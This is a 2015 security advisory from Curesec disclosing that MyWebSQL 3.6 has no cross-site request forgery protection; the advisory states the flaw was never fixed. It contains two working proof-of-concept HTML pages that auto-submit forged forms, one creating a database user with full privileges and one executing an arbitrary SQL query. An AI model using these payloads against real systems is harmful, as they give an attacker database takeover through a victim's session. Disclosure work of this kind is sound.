MyWebSQL 3.6 Cross Site Request Forgery
Posted on 07 November 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyWebSQL 3.6 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://mywebsql.net/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/01/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description None of the forms of MyWebSQL 3.6 have CSRF protection, which means that an attacker can perform actions for the victim if the victim visits an attacker controlled site while logged in. 3. Proof of Concept Create new user: <html> <body> <form name="myform" action="http://localhost/mywebsql/?q=wrkfrm&type=usermanager" method="POST" enctype="multipart/form-data"> <input type="hidden" name="type" value="usermanager" /> <input type="hidden" name="id" value="add" /> <input type="hidden" name="name" value=" " /> <input type="hidden" name="query" value="{"username":"foobar","hostname":"localhost","pwd":"foobar"}" /> <input type="hidden" name="username" value="foobar" /> <input type="hidden" name="hostname" value="localhost" /> <input type="hidden" name="userpass" value="foobar" /> <input type="hidden" name="userpass2" value="foobar" /> <input type="hidden" name="Alter_priv" value="on" /> <input type="hidden" name="Alter_routine_priv" value="on" /> <input type="hidden" name="Create_priv" value="on" /> <input type="hidden" name="Create_routine_priv" value="on" /> <input type="hidden" name="Create_tmp_table_priv" value="on" /> <input type="hidden" name="Create_view_priv" value="on" /> <input type="hidden" name="Create_tablespace_priv" value="on" /> <input type="hidden" name="Create_user_priv" value="on" /> <input type="hidden" name="Delete_priv" value="on" /> <input type="hidden" name="Drop_priv" value="on" /> <input type="hidden" name="Event_priv" value="on" /> <input type="hidden" name="Execute_priv" value="on" /> <input type="hidden" name="File_priv" value="on" /> <input type="hidden" name="Grant_priv" value="on" /> <input type="hidden" name="Index_priv" value="on" /> <input type="hidden" name="Insert_priv" value="on" /> <input type="hidden" name="Lock_tables_priv" value="on" /> <input type="hidden" name="Process_priv" value="on" /> <input type="hidden" name="References_priv" value="on" /> <input type="hidden" name="Reload_priv" value="on" /> <input type="hidden" name="Repl_client_priv" value="on" /> <input type="hidden" name="Repl_slave_priv" value="on" /> <input type="hidden" name="Select_priv" value="on" /> <input type="hidden" name="Show_db_priv" value="on" /> <input type="hidden" name="Show_view_priv" value="on" /> <input type="hidden" name="Shutdown_priv" value="on" /> <input type="hidden" name="Super_priv" value="on" /> <input type="hidden" name="Trigger_priv" value="on" /> <input type="hidden" name="Update_priv" value="on" /> </form> <script>document.myform.submit();</script> </body> </html> Execute any query: <html> <body> <form name="myform" action="http://localhost/mywebsql/index.php?q=wrkfrm&type=info" method="POST" enctype="multipart/form-data"> <input type="hidden" name="type" value="query" /> <input type="hidden" name="id" value=" " /> <input type="hidden" name="name" value=" " /> <input type="hidden" name="query" value="CREATE USER 'smith'@'localhost' IDENTIFIED BY 'smith';" /> </form> <script>document.myform.submit();</script> </body> </html> 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 09/01/2015 Informed Vendor about Issue (no reply) 09/22/2015 Reminded Vendor of disclosure date (no reply) 10/07/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/MyWebSQL-36-CSRF-65.html
